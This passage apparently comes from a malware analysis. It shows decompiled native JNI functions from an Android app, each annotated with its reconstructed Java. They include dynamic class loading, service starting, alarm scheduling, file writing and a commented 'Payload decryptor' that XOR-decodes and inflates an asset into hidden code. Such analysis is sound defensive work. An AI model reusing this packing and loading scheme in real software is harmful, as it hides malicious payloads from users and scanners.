"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader ;)V"
);
p_Var4 = (jobject)_JNIEnv::NewObject((_jclass *)env,(_jmethodID *)clazz_00,p_Var3,str,str2,0,0);
if (__stack_chk_guard != local_28) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return p_Var4;
}
Java_s_ni_oa
/*
public static Class<?> oa(String str, ClassLoader obj) {
return obj.loadClass(str);
}
*/
jobject Java_s_ni_oa(JNIEnv *env,jclass clazz,jstring str,jobject obj)
{
jobject p_Var1;
jclass clazz_00;
jmethodID p_Var2;
clazz_00 = (*(*env)->GetObjectClass)(env,obj);
p_Var2 = (*(*env)->GetMethodID)(env,clazz_00,"loadClass","(Ljava/lang/String;)Ljava/lang/Class;");
p_Var1 = (jobject)_JNIEnv::CallObjectMethod((_jobject *)env,(_jmethodID *)obj,p_Var2,str);
return p_Var1;
}
Java_s_ni_ob
/*
public static void ob(Context obj, Class<?> obj2) {
Intent intent = new Intent(obj, obj2);
obj.startService(intent);
}
*/
void Java_s_ni_ob(JNIEnv *env,jclass clazz,jobject obj,jobject obj2)
{
jclass p_Var1;
jmethodID p_Var2;
undefined4 uVar3;
undefined1 *puVar4;
puVar4 = &stack0xfffffff8;
p_Var1 = (*(*env)->FindClass)(env,"android/content/Intent");
p_Var2 = (*(*env)->GetMethodID)
(env,p_Var1,"<init>","(Landroid/content/Context;Ljava/lang/Class;)V");
uVar3 = _JNIEnv::NewObject((_jclass *)env,(_jmethodID *)p_Var1,p_Var2,obj,obj2,puVar4);
p_Var1 = (*(*env)->GetObjectClass)(env,obj);
p_Var2 = (*(*env)->GetMethodID)
(env,p_Var1,"startService",
"(Landroid/content/Intent;)Landroid/content/ComponentName;");
_JNIEnv::CallObjectMethod((_jobject *)env,(_jmethodID *)obj,p_Var2,uVar3);
return;
}
Java_s_ni_om
/*
public static String om(String str, String str2) {
return str + "/" + str2;
}
*/
jstring Java_s_ni_om(JNIEnv *env,jclass clazz,jstring str,jstring str2)
{
char *__s;
char *__s_00;
size_t sVar1;
size_t sVar2;
char *__dest;
jstring p_Var3;
__s = (*(*env)->GetStringUTFChars)(env,str,(jboolean *)0x0);
__s_00 = (*(*env)->GetStringUTFChars)(env,str2,(jboolean *)0x0);
sVar1 = strlen(__s);
sVar2 = strlen(__s_00);
sVar1 = sVar2 + sVar1 + 4;
__dest = malloc(sVar1);
__aeabi_memclr(__dest,sVar1);
strcat(__dest,__s);
sVar1 = strlen(__dest);
(__dest + sVar1)[0] = '/';
(__dest + sVar1)[1] = '\0';
strcat(__dest,__s_00);
(*(*env)->ReleaseStringUTFChars)(env,str,__s);
(*(*env)->ReleaseStringUTFChars)(env,str2,__s_00);
p_Var3 = (*(*env)->NewStringUTF)(env,__dest);
free(__dest);
return p_Var3;
}
Java_s_ni_oo
/*
public static long oo() {
return SystemClock.elapsedRealtime();
}
*/
jlong Java_s_ni_oo(JNIEnv *env)
{
int iVar1;
jclass clazz;
jmethodID methodID;
jlong jVar2;
clazz = (*(*env)->FindClass)(env,"android/os/SystemClock");
methodID = (*(*env)->GetStaticMethodID)(env,clazz,"elapsedRealtime","()J");
iVar1 = __stack_chk_guard;
jVar2 = (*(*env)->CallStaticLongMethodV)(env,clazz,methodID,&stack0xfffffffc);
if (__stack_chk_guard == iVar1) {
return jVar2;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Java_s_ni_op
/*
public static void op(AlarmManager obj, Context obj2, Intent obj3, long j, boolean z, int i) {
PendingIntent pendingIntent = PendingIntent.getBroadcast(obj2, 0, obj3, 0);
obj.set(4, j, pendingIntent);
}
Note: value 4 is invalid
https://developer.android.com/reference/android/app/AlarmManager
*/
void Java_s_ni_op(JNIEnv *env,jclass clazz,jobject obj,jobject obj2,jobject obj3,jlong j,jboolean z,
jint i)
{
jclass p_Var1;
jmethodID p_Var2;
jmethodID p_Var3;
undefined4 uVar4;
undefined1 *puVar5;
puVar5 = &stack0xfffffff8;
p_Var1 = (*(*env)->GetObjectClass)(env,obj);
p_Var2 = (*(*env)->GetMethodID)(env,p_Var1,"set","(IJLandroid/app/PendingIntent;)V");
p_Var1 = (*(*env)->FindClass)(env,"android/app/PendingIntent");
p_Var3 = (*(*env)->GetStaticMethodID)
(env,p_Var1,"getBroadcast",
"(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingInte nt;"
);
uVar4 = _JNIEnv::CallStaticObjectMethod
((_jclass *)env,(_jmethodID *)p_Var1,p_Var3,obj2,0,obj3,0,puVar5);
_JNIEnv::CallVoidMethod((_jobject *)env,(_jmethodID *)obj,p_Var2,4,(undefined4)j,j._4_4_,uVar4);
return;
}
Java_s_ni_oq
/*
public static String oq(Context obj) {
File filesDir = obj.getFilesDir();
String path = filesDir.getAbsolutePath();
return path;
}
*/
jstring Java_s_ni_oq(JNIEnv *env,jclass clazz,jobject obj)
{
jstring p_Var1;
jclass p_Var2;
jmethodID p_Var3;
_jmethodID *p_Var4;
p_Var2 = (*(*env)->GetObjectClass)(env,obj);
p_Var3 = (*(*env)->GetMethodID)(env,p_Var2,"getFilesDir","()Ljava/io/File;");
p_Var4 = (_jmethodID *)_JNIEnv::CallObjectMethod((_jobject *)env,(_jmethodID *)obj,p_Var3);
p_Var2 = (*(*env)->FindClass)(env,"java/io/File");
p_Var3 = (*(*env)->GetMethodID)(env,p_Var2,"getAbsolutePath","()Ljava/lang/String;");
p_Var1 = (jstring)_JNIEnv::CallObjectMethod((_jobject *)env,p_Var4,p_Var3);
return p_Var1;
}
Java_s_ni_or
/*
public static String or(String str, byte[] obj) {
FileOutputStream fos = new FileOutputStream(str);
fos.write(obj);
fos.close();
return str;
}
*/
jobject Java_s_ni_or(JNIEnv *env,jclass clazz,jstring str,jobject obj)
{
jbyte *elems;
char *__filename;
FILE *__s;
size_t __size;
elems = (*(*env)->GetByteArrayElements)(env,obj,(jboolean *)0x0);
__filename = (*(*env)->GetStringUTFChars)(env,str,(jboolean *)0x0);
__s = fopen(__filename,"wb");
__size = (*(*env)->GetArrayLength)(env,obj);
fwrite(elems,__size,1,__s);
fclose(__s);
(*(*env)->ReleaseStringUTFChars)(env,str,__filename);
(*(*env)->ReleaseByteArrayElements)(env,obj,elems,0);
return str;
}
Java_s_ni_pe
/*
public static PackageManager pe(Context obj) {
return obj.getPackageManager();
}
*/
jobject Java_s_ni_pe(JNIEnv *env,jclass clazz,jobject obj)
{
jobject p_Var1;
jclass clazz_00;
jmethodID p_Var2;
clazz_00 = (*(*env)->GetObjectClass)(env,obj);
p_Var2 = (*(*env)->GetMethodID)
(env,clazz_00,"getPackageManager","()Landroid/content/pm/PackageManager;");
p_Var1 = (jobject)_JNIEnv::CallObjectMethod((_jobject *)env,(_jmethodID *)obj,p_Var2);
return p_Var1;
}
Java_s_ni_pi
/* Payload decryptor.
Returns the unpacked bytearray. */
jobject Java_s_ni_pi(JNIEnv *env,jclass clazz,jobject obj,jobject obj2)
{
jclass p_Var1;
jmethodID p_Var2;
_jmethodID *p_Var3;
jmethodID p_Var4;
jobjectArray array;
jobject str;
char *pcVar5;
size_t sVar6;
jstring p_Var7;
jbyteArray p_Var8;
int iVar9;
jbyte *pjVar10;
jbyteArray array_00;
jmethodID p_Var11;
_jobject *extraout_r3;
int iVar12;
undefined8 uVar13;
byte *local_c0;
byte *local_bc;
byte *local_b8;
jbyte ajStack_b4 [11];
byte local_a9;
char acStack_a8 [128];
int local_28;
local_28 = __stack_chk_guard;
p_Var1 = (*(*env)->GetObjectClass)(env,obj);
p_Var2 = (*(*env)->GetMethodID)(env,p_Var1,"getAssets","()Landroid/content/res/AssetManager;");
p_Var3 = (_jmethodID *)_JNIEnv::CallObjectMethod((_jobject *)env,(_jmethodID *)obj,p_Var2);
p_Var1 = (*(*env)->FindClass)(env,"android/content/res/AssetManager");
p_Var2 = (*(*env)->GetMethodID)(env,p_Var1,"list","(Ljava/lang/String;)[Ljava/lang/String;");
p_Var4 = (*(*env)->GetMethodID)(env,p_Var1,"open","(Ljava/lang/String;)Ljava/io/InputStream;");
array = (jobjectArray)_JNIEnv::CallObjectMethod((_jobject *)env,p_Var3,p_Var2,obj2);
str = (*(*env)->GetObjectArrayElement)(env,array,0);
__aeabi_memclr8(acStack_a8,0x80);
pcVar5 = (*(*env)->GetStringUTFChars)(env,obj2,(jboolean *)0x0);
strcat(acStack_a8,pcVar5);
(*(*env)->ReleaseStringUTFChars)(env,obj2,pcVar5);
sVar6 = strlen(acStack_a8);
pcVar5 = acStack_a8 + sVar6;
pcVar5[0] = '/';
pcVar5[1] = '\0';
pcVar5 = (*(*env)->GetStringUTFChars)(env,str,(jboolean *)0x0);
strcat(acStack_a8,pcVar5);
(*(*env)->ReleaseStringUTFChars)(env,str,pcVar5);
p_Var7 = (*(*env)->NewStringUTF)(env,acStack_a8);
p_Var3 = (_jmethodID *)_JNIEnv::CallObjectMethod((_jobject *)env,p_Var3,p_Var4,p_Var7);
p_Var1 = (*(*env)->FindClass)(env,"java/io/InputStream");
p_Var2 = (*(*env)->GetMethodID)(env,p_Var1,"read","([B)I");
p_Var4 = (*(*env)->GetMethodID)(env,p_Var1,"close","()V");
p_Var8 = (*(*env)->NewByteArray)(env,0xc);
_JNIEnv::CallIntMethod((_jobject *)env,p_Var3,p_Var2,p_Var8);
(*(*env)->GetByteArrayRegion)(env,p_Var8,0,0xc,ajStack_b4);
p_Var8 = (*(*env)->NewByteArray)(env,0x200);
local_c0 = (byte *)0x0;
local_bc = (byte *)0x0;
local_b8 = (byte *)0x0;
while (iVar9 = _JNIEnv::CallIntMethod((_jobject *)env,p_Var3,p_Var2,p_Var8), -1 < iVar9) {
pjVar10 = (*(*env)->GetByteArrayElements)(env,p_Var8,(jboolean *)0x0);
for (iVar12 = 0; iVar12 < iVar9; iVar12 = iVar12 + 1) {
if (local_bc < local_b8) {
*local_bc = pjVar10[iVar12] ^ local_a9;
local_bc = local_bc + 1;
}
else {
std::__ndk1::vector<>::__push_back_slow_path<>((signed *)&local_c0);
}
}
(*(*env)->ReleaseByteArrayElements)(env,p_Var8,pjVar10,0);
}
_JNIEnv::CallVoidMethod((_jobject *)env,p_Var3,p_Var4);
array_00 = (*(*env)->NewByteArray)(env,(int)local_bc - (int)local_c0);
(*(*env)->SetByteArrayRegion)(env,array_00,0,(int)local_bc - (int)local_c0,(jbyte *)local_c0);
p_Var1 = (*(*env)->FindClass)(env,"java/io/ByteArrayInputStream");
p_Var11 = (*(*env)->GetMethodID)(env,p_Var1,"<init>","([B)V");
uVar13 = _JNIEnv::NewObject((_jclass *)env,(_jmethodID *)p_Var1,p_Var11,array_00);
p_Var3 = (_jmethodID *)
createInflateStream(env,(_jclass *)((ulonglong)uVar13 >> 0x20),(_jobject *)uVar13,
extraout_r3);
local_bc = local_c0;
while (iVar9 = _JNIEnv::CallIntMethod((_jobject *)env,p_Var3,p_Var2,p_Var8), -1 < iVar9) {
pjVar10 = (*(*env)->GetByteArrayElements)(env,p_Var8,(jboolean *)0x0);
for (iVar12 = 0; iVar12 < iVar9; iVar12 = iVar12 + 1) {
if (local_bc == local_b8) {
std::__ndk1::vector<>::__push_back_slow_path<>((signed *)&local_c0);
}
else {
*local_bc = pjVar10[iVar12];
local_bc = local_bc + 1;
}
}
(*(*env)->ReleaseByteArrayElements)(env,p_Var8,pjVar10,0);
}
_JNIEnv::CallVoidMethod((_jobject *)env,p_Var3,p_Var4);
p_Var8 = (*(*env)->NewByteArray)(env,(int)local_bc - (int)local_c0);
(*(*env)->SetByteArrayRegion)(env,p_Var8,0,(int)local_bc - (int)local_c0,(jbyte *)local_c0);
std::__ndk1::__vector_base<>::~__vector_base((__vector_base<> *)&local_c0);
if (__stack_chk_guard != local_28) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return p_Var8;
}
Java_s_ni_pq
/*
public static void pq(Object obj, Context obj2, Intent obj3, int[] obj4) {
obj.start(obj2, obj3, obj4);
}
*/
void Java_s_ni_pq(JNIEnv *env,jclass clazz,jobject obj,jobject obj2)
{
jclass clazz_00;
jmethodID p_Var1;
clazz_00 = (*(*env)->GetObjectClass)(env,obj);
p_Var1 = (*(*env)->GetMethodID)
(env,clazz_00,"start","(Landroid/content/Context;Landroid/content/Intent;[I)V")
;
_JNIEnv::CallVoidMethod((_jobject *)env,(_jmethodID *)obj,p_Var1,obj2);
return;
}
Java_s_ni_qc
/*
public static ComponentName qc(String str, String str2) {
return new ComponentName(str, str2);
}
*/
jobject Java_s_ni_qc(JNIEnv *env,jclass clazz,jstring str,jstring str2)
{
jclass clazz_00;
jmethodID p_Var1;
jobject p_Var2;
undefined1 *puVar3;
puVar3 = &stack0xfffffff8;
clazz_00 = (*(*env)->FindClass)(env,"android/content/ComponentName");
p_Var1 = (*(*env)->GetMethodID)(env,clazz_00,"<init>","(Ljava/lang/String;Ljava/lang/String;)V");
p_Var2 = (jobject)_JNIEnv::NewObject((_jclass *)env,(_jmethodID *)clazz_00,p_Var1,str,str2,puVar3)
;
return p_Var2;
}